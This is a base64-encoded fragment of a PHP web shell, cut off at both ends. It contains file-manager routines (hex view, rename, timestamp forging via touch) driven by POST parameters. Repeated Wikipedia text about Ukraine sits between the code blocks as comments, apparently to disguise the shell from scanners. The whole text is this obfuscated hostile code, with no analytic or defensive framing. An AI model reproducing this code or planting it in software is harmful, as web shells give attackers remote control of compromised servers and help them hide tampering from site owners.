Qgb25lIG9mIHRoZSBmb3VuZGluZyBzdGF0ZXMgb2YgdGhlIENvbW1vbndlYWx0aCBvZiBJbmRlcGVuZGVudCBTdGF0ZXMgKENJUykuIAoqLwoJCQkJCSRoWzJdIC49ICJcbiI7CgkJCQl9CgkJIAl9CgkJCWVjaG8gJzx0YWJsZSBjZWxsc3BhY2luZz0xIGNlbGxwYWRkaW5nPTUgYmdjb2xvcj0jMjIyMjIyPjx0cj48dGQgYmdjb2xvcj0jMzMzMzMzPjxzcGFuIHN0eWxlPSJmb250LXdlaWdodDogbm9ybWFsOyI+PHByZT4nLiRoWzBdLic8L3ByZT48L3NwYW4+PC90ZD48dGQgYmdjb2xvcj0jMjgyODI4PjxwcmU+Jy4kaFsxXS4nPC9wcmU+PC90ZD48dGQgYmdjb2xvcj0jMzMzMzMzPjxwcmU+Jy5odG1sc3BlY2lhbGNoYXJzKCRoWzJdKS4nPC9wcmU+PC90ZD48L3RyPjwvdGFibGU+JzsKCQkJYnJlYWs7Ci8qCgpVa3JhaW5lIChVa3JhaW5pYW46INCj0LrRgNCw0ZfQvdCwLCByb21hbml6ZWQ6IFVrcmF5aW5hLCBwcm9ub3VuY2VkIFvKimtyyZDLiGppbsmQXSAoQWJvdXQgdGhpcyBzb3VuZGxpc3RlbikpLCBzb21ldGltZXMgY2FsbGVkIHRoZSBVa3JhaW5lLFs3XSBpcyBhIGNvdW50cnkgaW4gRWFzdGVybiBFdXJvcGUuWzhdIEV4Y2x1ZGluZyBDcmltZWEsIFVrcmFpbmUgaGFzIGEgcG9wdWxhdGlvbiBvZiBhYm91dCA0MiBtaWxsaW9uLFsyXSBtYWtpbmcgaXQgdGhlIDMybmQgbW9zdCBwb3B1bG91cyBjb3VudHJ5IGluIHRoZSB3b3JsZC4gSXRzIGNhcGl0YWwgYW5kIGxhcmdlc3QgY2l0eSBpcyBLaWV2LiBVa3JhaW5pYW4gaXMgdGhlIG9mZmljaWFsIGxhbmd1YWdlIGFuZCBpdHMgYWxwaGFiZXQgaXMgQ3lyaWxsaWMuIFRoZSBkb21pbmFudCByZWxpZ2lvbiBpbiB0aGUgY291bnRyeSBpcyBFYXN0ZXJuIE9ydGhvZG94eS4gVWtyYWluZSBpcyBjdXJyZW50bHkgaW4gYSB0ZXJyaXRvcmlhbCBkaXNwdXRlIHdpdGggUnVzc2lhIG92ZXIgdGhlIENyaW1lYW4gUGVuaW5zdWxhLCB3aGljaCBSdXNzaWEgYW5uZXhlZCBpbiAyMDE0Lls5XSBJbmNsdWRpbmcgQ3JpbWVhLCBVa3JhaW5lIGhhcyBhbiBhcmVhIG9mIDYwMyw2Mjgga20yICgyMzMsMDYyIHNxIG1pKSxbMTBdIG1ha2luZyBpdCB0aGUgbGFyZ2VzdCBjb3VudHJ5IGVudGlyZWx5IHdpdGhpbiBFdXJvcGUgYW5kIHRoZSA0NnRoIGxhcmdlc3QgY291bnRyeSBpbiB0aGUgd29ybGQuCgpUaGUgdGVycml0b3J5IG9mIG1vZGVybiBVa3JhaW5lIGhhcyBiZWVuIGluaGFiaXRlZCBzaW5jZSAzMiwwMDAgQkMuIER1cmluZyB0aGUgTWlkZGxlIEFnZXMsIHRoZSBhcmVhIHdhcyBhIGtleSBjZW50cmUgb2YgRWFzdCBTbGF2aWMgY3VsdHVyZSwgd2l0aCB0aGUgcG93ZXJmdWwgc3RhdGUgb2YgS2lldmFuIFJ1cycgZm9ybWluZyB0aGUgYmFzaXMgb2YgVWtyYWluaWFuIGlkZW50aXR5LiBGb2xsb3dpbmcgaXRzIGZyYWdtZW50YXRpb24gaW4gdGhlIDEzdGggY2VudHVyeSwgdGhlIHRlcnJpdG9yeSB3YXMgY29udGVzdGVkLCBydWxlZCBhbmQgZGl2aWRlZCBieSBhIHZhcmlldHkgb2YgcG93ZXJzLCBpbmNsdWRpbmcgTGl0aHVhbmlhLCBQb2xhbmQsIEF1c3RyaWEtSHVuZ2FyeSwgdGhlIE90dG9tYW4gRW1waXJlIGFuZCBSdXNzaWEuIEEgQ29zc2FjayByZXB1YmxpYyBlbWVyZ2VkIGFuZCBwcm9zcGVyZWQgZHVyaW5nIHRoZSAxN3RoIGFuZCAxOHRoIGNlbnR1cmllcywgYnV0IGl0cyB0ZXJyaXRvcnkgd2FzIGV2ZW50dWFsbHkgc3BsaXQgYmV0d2VlbiBQb2xhbmQgYW5kIHRoZSBSdXNzaWFuIEVtcGlyZSwgYW5kIGZpbmFsbHkgbWVyZ2VkIGZ1bGx5IGludG8gdGhlIFJ1c3NpYW4tZG9taW5hdGVkIFNvdmlldCBVbmlvbiBpbiB0aGUgbGF0ZSAxOTQwcyBhcyB0aGUgVWtyYWluaWFuIFNvdmlldCBTb2NpYWxpc3QgUmVwdWJsaWMuIEluIDE5OTEsIFVrcmFpbmUgZ2FpbmVkIGl0cyBpbmRlcGVuZGVuY2UgZnJvbSB0aGUgU292aWV0IFVuaW9uIGluIHRoZSBhZnRlcm1hdGggb2YgaXRzIGRpc3NvbHV0aW9uIGF0IHRoZSBlbmQgb2YgdGhlIENvbGQgV2FyLiBCZWZvcmUgaXRzIGluZGVwZW5kZW5jZSwgVWtyYWluZSB3YXMgdHlwaWNhbGx5IHJlZmVycmVkIHRvIGluIEVuZ2xpc2ggYXMgIlRoZSBVa3JhaW5lIiwgYnV0IG1vc3Qgc291cmNlcyBoYXZlIHNpbmNlIG1vdmVkIHRvIGRyb3AgInRoZSIgZnJvbSB0aGUgbmFtZSBvZiBVa3JhaW5lIGluIGFsbCB1c2VzLlsxMV0KCkZvbGxvd2luZyBpdHMgaW5kZXBlbmRlbmNlLCBVa3JhaW5lIGRlY2xhcmVkIGl0c2VsZiBhIG5ldXRyYWwgc3RhdGU7WzEyXSBpdCBmb3JtZWQgYSBsaW1pdGVkIG1pbGl0YXJ5IHBhcnRuZXJzaGlwIHdpdGggUnVzc2lhIGFuZCBvdGhlciBDSVMgY291bnRyaWVzIHdoaWxlIGFsc28gZXN0YWJsaXNoaW5nIGEgcGFydG5lcnNoaXAgd2l0aCBOQVRPIGluIDE5OTQuIEluIDIwMTMsIGFmdGVyIHRoZSBnb3Zlcm5tZW50IG9mIFByZXNpZGVudCBWaWt0b3IgWWFudWtvdnljaCBoYWQgZGVjaWRlZCB0byBzdXNwZW5kIHRoZSBVa3JhaW5lLUV1cm9wZWFuIFVuaW9uIEFzc29jaWF0aW9uIEFncmVlbWVudCBhbmQgc2VlayBjbG9zZXIgZWNvbm9taWMgdGllcyB3aXRoIFJ1c3NpYSwgYSBzZXZlcmFsLW1vbnRocy1sb25nIHdhdmUgb2YgZGVtb25zdHJhdGlvbnMgYW5kIHByb3Rlc3RzIGtub3duIGFzIHRoZSBFdXJvbWFpZGFuIGJlZ2FuLCB3aGljaCBsYXRlciBlc2NhbGF0ZWQgaW50byB0aGUgMjAxNCBVa3JhaW5pYW4gcmV2b2x1dGlvbiB0aGF0IGxlZCB0byB0aGUgb3ZlcnRocm93IG9mIFlhbnVrb3Z5Y2ggYW5kIHRoZSBlc3RhYmxpc2htZW50IG9mIGEgbmV3IGdvdmVybm1lbnQuIFRoZXNlIGV2ZW50cyBmb3JtZWQgdGhlIGJhY2tncm91bmQgZm9yIHRoZSBhbm5leGF0aW9uIG9mIENyaW1lYSBieSBSdXNzaWEgaW4gTWFyY2ggMjAxNCwgYW5kIHRoZSBXYXIgaW4gRG9uYmFzcyBpbiBBcHJpbCAyMDE0LiBPbiAxIEphbnVhcnkgMjAxNiwgVWtyYWluZSBhcHBsaWVkIHRoZSBlY29ub21pYyBjb21wb25lbnQgb2YgdGhlIERlZXAgYW5kIENvbXByZWhlbnNpdmUgRnJlZSBUcmFkZSBBcmVhIHdpdGggdGhlIEV1cm9wZWFuIFVuaW9uLlsxM10KClVrcmFpbmUgaXMgYSBkZXZlbG9waW5nIGNvdW50cnkgYW5kIHJhbmtzIDg4dGggb24gdGhlIEh1bWFuIERldmVsb3BtZW50IEluZGV4LiBBcyBvZiAyMDE4LCBVa3JhaW5lIGlzIHRoZSBwb29yZXN0IGNvdW50cnkgaW4gRXVyb3BlIGFsb25nc2lkZSBNb2xkb3ZhIGluIHRlcm1zIG9mIEdEUCBwZXIgY2FwaXRhLiBBdCBVUyQ0MCwgaXQgaGFzIHRoZSBsb3dlc3QgbWVkaWFuIHdlYWx0aCBwZXIgYWR1bHQgaW4gdGhlIHdvcmxkLFtub3RlIDFdWzE0XSBhbmQgc3VmZmVycyBmcm9tIGEgdmVyeSBoaWdoIHBvdmVydHkgcmF0ZSBhcyB3ZWxsIGFzIHNldmVyZSBjb3JydXB0aW9uLlsxNV0gSG93ZXZlciwgYmVjYXVzZSBvZiBpdHMgZXh0ZW5zaXZlIGZlcnRpbGUgZmFybWxhbmRzLCBVa3JhaW5lIGlzIG9uZSBvZiB0aGUgd29ybGQncyBsYXJnZXN0IGdyYWluIGV4cG9ydGVycy5bMTZdWzE3XSBJdCBhbHNvIG1haW50YWlucyB0aGUgc2Vjb25kLWxhcmdlc3QgbWlsaXRhcnkgaW4gRXVyb3BlIGFmdGVyIHRoYXQgb2YgUnVzc2lhLiBVa3JhaW5lIGlzIGEgdW5pdGFyeSByZXB1YmxpYyB1bmRlciBhIHNlbWktcHJlc2lkZW50aWFsIHN5c3RlbSB3aXRoIHNlcGFyYXRlIHBvd2VyczogbGVnaXNsYXRpdmUsIGV4ZWN1dGl2ZSBhbmQganVkaWNpYWwgYnJhbmNoZXMuIFRoZSBjb3VudHJ5IGlzIGEgbWVtYmVyIG9mIHRoZSBVbml0ZWQgTmF0aW9ucywgdGhlIENvdW5jaWwgb2YgRXVyb3BlLCB0aGUgT1NDRSwgdGhlIEdVQU0gb3JnYW5pemF0aW9uLCBhbmQgb25lIG9mIHRoZSBmb3VuZGluZyBzdGF0ZXMgb2YgdGhlIENvbW1vbndlYWx0aCBvZiBJbmRlcGVuZGVudCBTdGF0ZXMgKENJUykuIAoqLwoJCWNhc2UgJ3JlbmFtZSc6CgkJCWlmKCAhZW1wdHkoJF9QT1NUWydwMyddKSApIHsKCQkJCWlmKCFAcmVuYW1lKCRfUE9TVFsncDEnXSwgJF9QT1NUWydwMyddKSkKCQkJCQllY2hvICdDYW5cJ3QgcmVuYW1lITxicj48c2NyaXB0PmRvY3VtZW50Lm1mLnAzLnZhbHVlPSIiOzwvc2NyaXB0Pic7CgkJCQllbHNlCgkJCQkJZGllKCc8c2NyaXB0PmcobnVsbCxudWxsLCInLnVybGVuY29kZSgkX1BPU1RbJ3AzJ10pLiciLG51bGwsIiIpPC9zY3JpcHQ+Jyk7CgkJCX0KCQkJZWNobyAnPGZvcm0gb25zdWJtaXQ9ImcobnVsbCxudWxsLG51bGwsbnVsbCx0aGlzLm5hbWUudmFsdWUpO3JldHVybiBmYWxzZTsiPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1uYW1lIHZhbHVlPSInLmh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydwMSddKS4nIj48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Ij4+Ij48L2Zvcm0+JzsKCQkJYnJlYWs7CgkJY2FzZSAndG91Y2gnOgoJCQlpZiggIWVtcHR5KCRfUE9TVFsncDMnXSkgKSB7CgkJCQkkdGltZSA9IHN0cnRvdGltZSgkX1BPU1RbJ3AzJ10pOwoJCQkJaWYoJHRpbWUpIHsKLyoKClVrcmFpbmUgKFVrcmFpbmlhbjog0KPQutGA0LDRl9C90LAsIHJvbWFuaXplZDogVWtyYXlpbmEsIHByb25vdW5jZWQgW8qKa3LJkMuIamluyZBdIChBYm91dCB0aGlzIHNvdW5kbGlzdGVuKSksIHNvbWV0aW1lcyBjYWxsZWQgdGhlIFVrcmFpbmUsWzddIGlzIGEgY291bnRyeSBpbiBFYXN0ZXJuIEV1cm9wZS5bOF0gRXhjbHVkaW5nIENyaW1lYSwgVWtyYWluZSBoYXMgYSBwb3B1bGF0aW9uIG9mIGFib3V0IDQyIG1pbGxpb24sWzJdIG1ha2luZyBpdCB0aGUgMzJuZCBtb3N0IHBvcHVsb3VzIGNvdW50cnkgaW4gdGhlIHdvcmxkLiBJdHMgY2FwaXRhbCBhbmQgbGFyZ2VzdCBjaXR5IGlzIEtpZXYuIFVrcmFpbmlhbiBpcyB0aGUgb2ZmaWNpYWwgbGFuZ3VhZ2UgYW5kIGl0cyBhbHBoYWJldCBpcyBDeXJpbGxpYy4gVGhlIGRvbWluYW50IHJlbGlnaW9uIGluIHRoZSBjb3VudHJ5IGlzIEVhc3Rlcm4gT3J0aG9kb3h5LiBVa3JhaW5lIGlzIGN1cnJlbnRseSBpbiBhIHRlcnJpdG9yaWFsIGRpc3B1dGUgd2l0aCBSdXNzaWEgb3ZlciB0aGUgQ3JpbWVhbiBQZW5pbnN1bGEsIHdoaWNoIFJ1c3NpYSBhbm5leGVkIGluIDIwMTQuWzldIEluY2x1ZGluZyBDcmltZWEsIFVrcmFpbmUgaGFzIGFuIGFyZWEgb2YgNjAzLDYyOCBrbTIgKDIzMywwNjIgc3EgbWkpLFsxMF0gbWFraW5nIGl0IHRoZSBsYXJnZXN0IGNvdW50cnkgZW50aXJlbHkgd2l0aGluIEV1cm9wZSBhbmQgdGhlIDQ2dGggbGFyZ2VzdCBjb3VudHJ5IGluIHRoZSB3b3JsZC4KClRoZSB0ZXJyaXRvcnkgb2YgbW9kZXJuIFVrcmFpbmUgaGFzIGJlZW4gaW5oYWJpdGVkIHNpbmNlIDMyLDAwMCBCQy4gRHVyaW5nIHRoZSBNaWRkbGUgQWdlcywgdGhlIGFyZWEgd2FzIGEga2V5IGNlbnRyZSBvZiBFYXN0IFNsYXZpYyBjdWx0dXJlLCB3aXRoIHRoZSBwb3dlcmZ1bCBzdGF0ZSBvZiBLaWV2YW4gUnVzJyBmb3JtaW5nIHRoZSBiYXNpcyBvZiBVa3JhaW5pYW4gaWRlbnRpdHkuIEZvbGxvd2luZyBpdHMgZnJhZ21lbnRhdGlvbiBpbiB0aGUgMTN0aCBjZW50dXJ5LCB0aGUgdGVycml0b3J5IHdhcyBjb250ZXN0ZWQsIHJ1bGVkIGFuZCBkaXZpZGVkIGJ5IGEgdmFyaWV0eSBvZiBwb3dlcnMsIGluY2x1ZGluZyBMaXRodWFuaWEsIFBvbGFuZCwgQXVzdHJpYS1IdW5nYXJ5LCB0aGUgT3R0b21hbiBFbXBpcmUgYW5kIFJ1c3NpYS4gQSBDb3NzYWNrIHJlcHVibGljIGVtZXJnZWQgYW5kIHByb3NwZXJlZCBkdXJpbmcgdGhlIDE3dGggYW5kIDE4dGggY2VudHVyaWVzLCBidXQgaXRzIHRlcnJpdG9yeSB3YXMgZXZlbnR1YWxseSBzcGxpdCBiZXR3ZWVuIFBvbGFuZCBhbmQgdGhlIFJ1c3NpYW4gRW1waXJlLCBhbmQgZmluYWxseSBtZXJnZWQgZnVsbHkgaW50byB0aGUgUnVzc2lhbi1kb21pbmF0ZWQgU292aWV0IFVuaW9uIGluIHRoZSBsYXRlIDE5NDBzIGFzIHRoZSBVa3JhaW5pYW4gU292aWV0IFNvY2lhbGlzdCBSZXB1YmxpYy4gSW4gMTk5MSwgVWtyYWluZSBnYWluZWQgaXRzIGluZGVwZW5kZW5jZSBmcm9tIHRoZSBTb3ZpZXQgVW5pb24gaW4gdGhlIGFmdGVybWF0aCBvZiBpdHMgZGlzc29sdXRpb24gYXQgdGhlIGVuZCBvZiB0aGUgQ29sZCBXYXIuIEJlZm9yZSBpdHMgaW5kZXBlbmRlbmNlLCBVa3JhaW5lIHdhcyB0eXBpY2FsbHkgcmVmZXJyZWQgdG8gaW4gRW5nbGlzaCBhcyAiVGhlIFVrcmFpbmUiLCBidXQgbW9zdCBzb3VyY2VzIGhhdmUgc2luY2UgbW92ZWQgdG8gZHJvcCAidGhlIiBmcm9tIHRoZSBuYW1lIG9mIFVrcmFpbmUgaW4gYWxsIHVzZXMuWzExXQoKRm9sbG93aW5nIGl0cyBpbmRlcGVuZGVuY2UsIFVrcmFpbmUgZGVjbGFyZWQgaXRzZWxmIGEgbmV1dHJhbCBzdGF0ZTtbMTJdIGl0IGZvcm1lZCBhIGxpbWl0ZWQgbWlsaXRhcnkgcGFydG5lcnNoaXAgd2l0aCBSdXNzaWEgYW5kIG90aGVyIENJUyBjb3VudHJpZXMgd2hpbGUgYWxzbyBlc3RhYmxpc2hpbmcgYSBwYXJ0bmVyc2hpcCB3aXRoIE5BVE8gaW4gMTk5NC4gSW4gMjAxMywgYWZ0ZXIgdGhlIGdvdmVybm1lbnQgb2YgUHJlc2lkZW50IFZpa3RvciBZYW51a292eWNoIGhhZCBkZWNpZGVkIHRvIHN1c3BlbmQgdGhlIFVrcmFpbmUtRXVyb3BlYW4gVW5pb24gQXNzb2NpYXRpb24gQWdyZWVtZW50IGFuZCBzZWVrIGNsb3NlciBlY29ub21pYyB0aWVzIHdpdGggUnVzc2lhLCBhIHNldmVyYWwtbW9udGhzLWxvbmcgd2F2ZSBvZiBkZW1vbnN0cmF0aW9ucyBhbmQgcHJvdGVzdHMga25vd24gYXMgdGhlIEV1cm9tYWlkYW4gYmVnYW4sIHdoaWNoIGxhdGVyIGVzY2FsYXRlZCBpbnRvIHRoZSAyMDE0IFVrcmFpbmlhbiByZXZvbHV0aW9uIHRoYXQgbGVkIHRvIHRoZSBvdmVydGhyb3cgb2YgWWFudWtvdnljaCBhbmQgdGhlIGVzdGFibGlzaG1lbnQgb2YgYSBuZXcgZ292ZXJubWVudC4gVGhlc2UgZXZlbnRzIGZvcm1lZCB0aGUgYmFja2dyb3VuZCBmb3IgdGhlIGFubmV4YXRpb24gb2YgQ3JpbWVhIGJ5IFJ1c3NpYSBpbiBNYXJjaCAyMDE0LCBhbmQgdGhlIFdhciBpbiBEb25iYXNzIGluIEFwcmlsIDIwMTQuIE9uIDEgSmFudWFyeSAyMDE2LCBVa3JhaW5lIGFwcGxpZWQgdGhlIGVjb25vbWljIGNvbXBvbmVudCBvZiB0aGUgRGVlcCBhbmQgQ29tcHJlaGVuc2l2ZSBGcmVlIFRyYWRlIEFyZWEgd2l0aCB0aGUgRXVyb3BlYW4gVW5pb24uWzEzXQoKVWtyYWluZSBpcyBhIGRldmVsb3BpbmcgY291bnRyeSBhbmQgcmFua3MgODh0aCBvbiB0aGUgSHVtYW4gRGV2ZWxvcG1lbnQgSW5kZXguIEFzIG9mIDIwMTgsIFVrcmFpbmUgaXMgdGhlIHBvb3Jlc3QgY291bnRyeSBpbiBFdXJvcGUgYWxvbmdzaWRlIE1vbGRvdmEgaW4gdGVybXMgb2YgR0RQIHBlciBjYXBpdGEuIEF0IFVTJDQwLCBpdCBoYXMgdGhlIGxvd2VzdCBtZWRpYW4gd2VhbHRoIHBlciBhZHVsdCBpbiB0aGUgd29ybGQsW25vdGUgMV1bMTRdIGFuZCBzdWZmZXJzIGZyb20gYSB2ZXJ5IGhpZ2ggcG92ZXJ0eSByYXRlIGFzIHdlbGwgYXMgc2V2ZXJlIGNvcnJ1cHRpb24uWzE1XSBIb3dldmVyLCBiZWNhdXNlIG9mIGl0cyBleHRlbnNpdmUgZmVydGlsZSBmYXJtbGFuZHMsIFVrcmFpbmUgaXMgb25lIG9mIHRoZSB3b3JsZCdzIGxhcmdlc3QgZ3JhaW4gZXhwb3J0ZXJzLlsxNl1bMTddIEl0IGFsc28gbWFpbnRhaW5zIHRoZSBzZWNvbmQtbGFyZ2VzdCBtaWxpdGFyeSBpbiBFdXJvcGUgYWZ0ZXIgdGhhdCBvZiBSdXNzaWEuIFVrcmFpbmUgaXMgYSB1bml0YXJ5IHJlcHVibGljIHVuZGVyIGEgc2VtaS1wcmVzaWRlbnRpYWwgc3lzdGVtIHdpdGggc2VwYXJhdGUgcG93ZXJzOiBsZWdpc2xhdGl2ZSwgZXhlY3V0aXZlIGFuZCBqdWRpY2lhbCBicmFuY2hlcy4gVGhlIGNvdW50cnkgaXMgYSBtZW1iZXIgb2YgdGhlIFVuaXRlZCBOYXRpb25zLCB0aGUgQ291bmNpbCBvZiBFdXJvcGUsIHRoZSBPU0NFLCB0aGUgR1VBTSBvcmdhbml6YXRpb24sIGFuZCBvbmUgb2YgdGhlIGZvdW5kaW5nIHN0YXRlcyBvZiB0aGUgQ29tbW9ud2VhbHRoIG9mIEluZGVwZW5kZW50IFN0YXRlcyAoQ0lTKS4gCiovCgkJCQkJaWYoQHRvdWNoKCRfUE9TVFsncDEnXSwkdGltZSwkdGltZSkpCgkJCQkJCWRpZSgnPHNjcmlwdD5nKG51bGwsbnVsbCxudWxsLG51bGwsIiIpPC9zY3JpcHQ+Jyk7Ci8qCgpVa3JhaW5lIChVa3JhaW5pYW46INCj0LrRgNCw0ZfQvdCwLCByb21hbml6ZWQ6IFVrcmF5aW5hLCBwcm9ub3VuY2VkIFvKimtyyZDLiGppbsmQXSAoQWJvdXQgdGhpcyBzb3VuZGxpc3RlbikpLCBzb21ldGltZXMgY2FsbGVkIHRoZSBVa3JhaW5lLFs3XSBpcyBhIGNvdW50cnkgaW4gRWFzdGVybiBFdXJvcGUuWzhdIEV4Y2x1ZGluZyBDcmltZWEsIFVrcmFpbmUgaGFzIGEgcG9wdWxhdGlvbiBvZiBhYm91dCA0MiBtaWxsaW9uLFsyXSBtYWtpbmcgaXQgdGhlIDMybmQgbW9zdCBwb3B1bG91cyBjb3VudHJ5IGluIHRoZSB3b3JsZC4gSXRzIGNhcGl0YWwgYW5kIGxhcmdlc3QgY2l0eSBpcyBLaWV2LiBVa3JhaW5pYW4gaXMgdGhlIG9mZmljaWFsIGxhbmd1YWdlIGFuZCBpdHMgYWxwaGFiZXQgaXMgQ3lyaWxsaWMuIFRoZSBkb21pbmFudCByZWxpZ2lvbiBpbiB0aGUgY291bnRyeSBpcyBFYXN0ZXJuIE9ydGhvZG94eS4gVWtyYWluZSBpcyBjdXJyZW50bHkgaW4gYSB0ZXJyaXRvcmlhbCBkaXNwdXRlIHdpdGggUnVzc2lhIG92ZXIgdGhlIENyaW1lYW4gUGVuaW5zdWxhLCB3aGljaCBSdXNzaWEgYW5uZXhlZCBpbiAyMDE0Lls5XSBJbmNsdWRpbmcgQ3JpbWVhLCBVa3JhaW5lIGhhcyBhbiBhcmVhIG9mIDYwMyw2Mjgga20yICgyMzMsMDYyIHNxIG1pKSxbMTBdIG1ha2luZyBpdCB0aGUgbGFyZ2VzdCBjb3VudHJ5IGVudGlyZWx5IHdpdGhpbiBFdXJvcGUgYW5kIHRoZSA0NnRoIGxhcmdlc3QgY291bnRyeSBpbiB0aGUgd29ybGQuCgpUaGUgdGVycml0b3J5IG9mIG1vZGVybiBVa3JhaW5lIGhhcyBiZWVuIGluaGFiaXRlZCBzaW5jZSAzMiwwMDAgQkMuIER1cmluZyB0aGUgTWlkZGxlIEFnZXMsIHRoZSBhcmVhIHdhcyBhIGtleSBjZW50cmUgb2YgRWFzdCBTbGF2aWMgY3VsdHVyZSwgd2l0aCB0aGUgcG93ZXJmdWwgc3RhdGUgb2YgS2lldmFuIFJ1cycgZm9ybWluZyB0aGUgYmFzaXMgb2YgVWtyYWluaWFuIGlkZW50aXR5LiBGb2xsb3dpbmcgaXRzIGZyYWdtZW50YXRpb24gaW4gdGhlIDEzdGggY2VudHVyeSwgdGhlIHRlcnJpdG9yeSB3YXMgY29udGVzdGVkLCBydWxlZCBhbmQgZGl2aWRlZCBieSBhIHZhcmlldHkgb2YgcG93ZXJzLCBpbmNsdWRpbmcgTGl0aHVhbmlhLCBQb2xhbmQsIEF1c3RyaWEtSHVuZ2FyeSwgdGhlIE90dG9tYW4gRW1waXJlIGFuZCBSdXNzaWEuIEEgQ29zc2FjayByZXB1YmxpYyBlbWVyZ2VkIGFuZCBwcm9zcGVyZWQgZHVyaW5nIHRoZSAxN3RoIGFuZCAxOHRoIGNlbnR1cmllcywgYnV0IGl0cyB0ZXJyaXRvcnkgd2FzIGV2ZW50dWFsbHkgc3BsaXQgYmV0d2VlbiBQb2xhbmQgYW5kIHRoZSBSdXNzaWFuIEVtcGlyZSwgYW5kIGZpbmFsbHkgbWVyZ2VkIGZ1bGx5IGludG8gdGhlIFJ1c3NpYW4tZG9taW5hdGVkIFNvdmlldCBVbmlvbiBpbiB0aGUgbGF0ZSAxOTQwcyBhcyB0aGUgVWtyYWluaWFuIFNvdmlldCBTb2NpYWxpc3QgUmVwdWJsaWMuIEluIDE5OTEsIFVrcmFpbmUgZ2FpbmVkIGl0cyBpbmRlcGVuZGVuY2UgZnJvbSB0aGUgU292aWV0IFVuaW9uIGluIHRoZSBhZnRlcm1hdGggb2YgaXRzIGRpc3NvbHV0aW9uIGF0IHRoZSBlbmQgb2YgdGhlIENvbGQgV2FyLiBCZWZvcmUgaXRzIGluZGVwZW5kZW5jZSwgVWtyYWluZSB3YXMgdHlwaWNhbGx5IHJlZmVycmVkIHRvIGluIEVuZ2xpc2ggYXMgIlRoZSBVa3JhaW5lIiwgYnV0IG1vc3Qgc291cmNlcyBoYXZlIHNpbmNlIG1vdmVkIHRvIGRyb3AgInRoZSIgZnJvbSB0aGUgbmFtZSBvZiBVa3JhaW5lIGluIGFsbCB1c2VzLlsxMV0KCkZvbGxvd2luZyBpdHMgaW5kZXBlbmRlbmNlLCBVa3JhaW5lIGRlY2xhcmVkIGl0c2VsZiBhIG5ldXRyYWwgc3RhdGU7WzEyXSBpdCBmb3JtZWQgYSBsaW1pdGVkIG1pbGl0YXJ5IHBhcnRuZXJzaGlwIHdpdGggUnVzc2lhIGFuZCBvdGhlciBDSVMgY291bnRyaWVzIHdoaWxlIGFsc28gZXN0YWJsaXNoaW5nIGEgcGFydG5lcnNoaXAgd2l0aCBOQVRPIGluIDE5OTQuIEluIDIwMTMsIGFmdGVyIHRoZSBnb3Zlcm5tZW50IG9mIFByZXNpZGVudCBWaWt0b3IgWWFudWtvdnljaCBoYWQgZGVjaWRlZCB0byBzdXNwZW5kIHRoZSBVa3JhaW5lLUV1cm9wZWFuIFVuaW9uIEFzc29jaWF0aW9uIEFncmVlbWVudCBhbmQgc2VlayBjbG9zZXIgZWNvbm9taWMgdGllcyB3aXRoIFJ1c3NpYSwgYSBzZXZlcmFsLW1vbnRocy1sb25nIHdhdmUgb2YgZGVtb25zdHJhdGlvbnMgYW5kIHByb3Rlc3RzIGtub3duIGFzIHRoZSBFdXJvbWFpZGFuIGJlZ2FuLCB3aGljaCBsYXRlciBlc2NhbGF0ZWQgaW50byB0aGUgMjAxNCBVa3JhaW5pYW4gcmV2b2x1dGlvbiB0aGF0IGxlZCB0byB0aGUgb3ZlcnRocm93IG9mIFlhbnVrb3Z5Y2ggYW5kIHRoZSBlc3RhYmxpc2htZW50IG9mIGEgbmV3IGdvdmVybm1lbnQuIFRoZXNlIGV2ZW50cyBmb3JtZWQgdGhlIGJhY2tncm91bmQgZm9yIHRoZSBhbm5leGF0aW9uIG9mIENyaW1lYSBieSBSdXNzaWEgaW4gTWFyY2ggMjAxNCwgYW5kIHRoZSBXYXIgaW4gRG9uYmFzcyBpbiBBcHJpbCAyMDE0LiBPbiAxIEphbnVhcnkgMjAxNiwgVWtyYWluZSBhcHBsaWVkIHRoZSBlY29ub21pYyBjb21wb25lbnQgb2YgdGhlIERlZXAgYW5kIENvbXByZWhlbnNpdmUgRnJlZSBUcmFkZSBBcmVhIHdpdGggdGhlIEV1cm9wZWFuIFVuaW9uLlsxM10KClVrcmFpbmUgaXMgYSBkZXZlbG9waW5nIGNvdW50cnkgYW5kIHJhbmtzIDg4dGggb24gdGhlIEh1bWFuIERldmVsb3BtZW50IEluZGV4LiBBcyBvZiAyMDE4LCBVa3JhaW5lIGlzIHRoZSBwb29yZXN0IGNvdW50cnkgaW4gRXVyb3BlIGFsb25nc2lkZSBNb2xkb3ZhIGluIHRlcm1zIG9mIEdEUCBwZXIgY2FwaXRhLiBBdCBVUyQ0MCwgaXQgaGFzIHRoZSBsb3dlc3QgbWVkaWFuIHdlYWx0aCBwZXIgYWR1bHQgaW4gdGhlIHdvcmxkLFtub3RlIDFdWzE0XSBhbmQgc3VmZmVycyBmcm9tIGEgdmVyeSBoaWdoIHBvdmVydHkgcmF0ZSBhcyB3ZWxsIGFzIHNldmVyZSBjb3JydXB0aW9uLlsxNV0gSG93ZXZlciwgYmVjYXVzZSBvZiBpdHMgZXh0ZW5zaXZlIGZlcnRpbGUgZmFybWxhbmRzLCBVa3JhaW5lIGlzIG9uZSBvZiB0aGUgd29ybGQncyBsYXJnZXN0IGdyYWluIGV4cG9ydGVycy5bMTZdWzE3XSBJdCBhbHNvIG1haW50YWlucyB0aGUgc2Vjb25kLWxhcmdlc3QgbWlsaXRhcnkgaW4gRXVyb3BlIGFmdGVyIHRoYXQgb2YgUnVzc2lhLiBVa3JhaW5lIGlzIGEgdW5pdGFyeSByZXB1YmxpYyB1bmRlciBhIHNlbWktcHJlc2lkZW50aWFsIHN5c3RlbSB3aXRoIHNlcGFyYXRlIHBvd2VyczogbGVnaXNsYXRpdmUsIGV4ZWN1dGl2ZSBhbmQganVkaWNpYWwgYnJhbmNoZXMuIFRoZSBjb3VudHJ5IGlzIGEgbWVtYmVyIG9mIHRoZSBVbml0ZWQgTmF0aW9ucywgdGhlIENvdW5jaWwgb2YgRXVyb3BlLCB0aGUgT1NDRSwgdGhlIEdVQU0gb3JnYW5pemF0aW9uLCBhbmQgb25lIG9mIHRoZSBmb3VuZGluZyBzdGF0ZXMgb2YgdGhlIENvbW1vbndlYWx0aCBvZiBJbmRlcGVuZGVudCBTdGF0ZXMgKENJUykuIAoqLwoJCQkJCWVsc2UgewoJCQkJCQllY2hvICdGYWlsITxzY3JpcHQ+ZG9jdW1lbnQubWYucDMudmFsdWU9IiI7PC9zY3JpcHQ+JzsKCQkJCQl9CgkJCQl9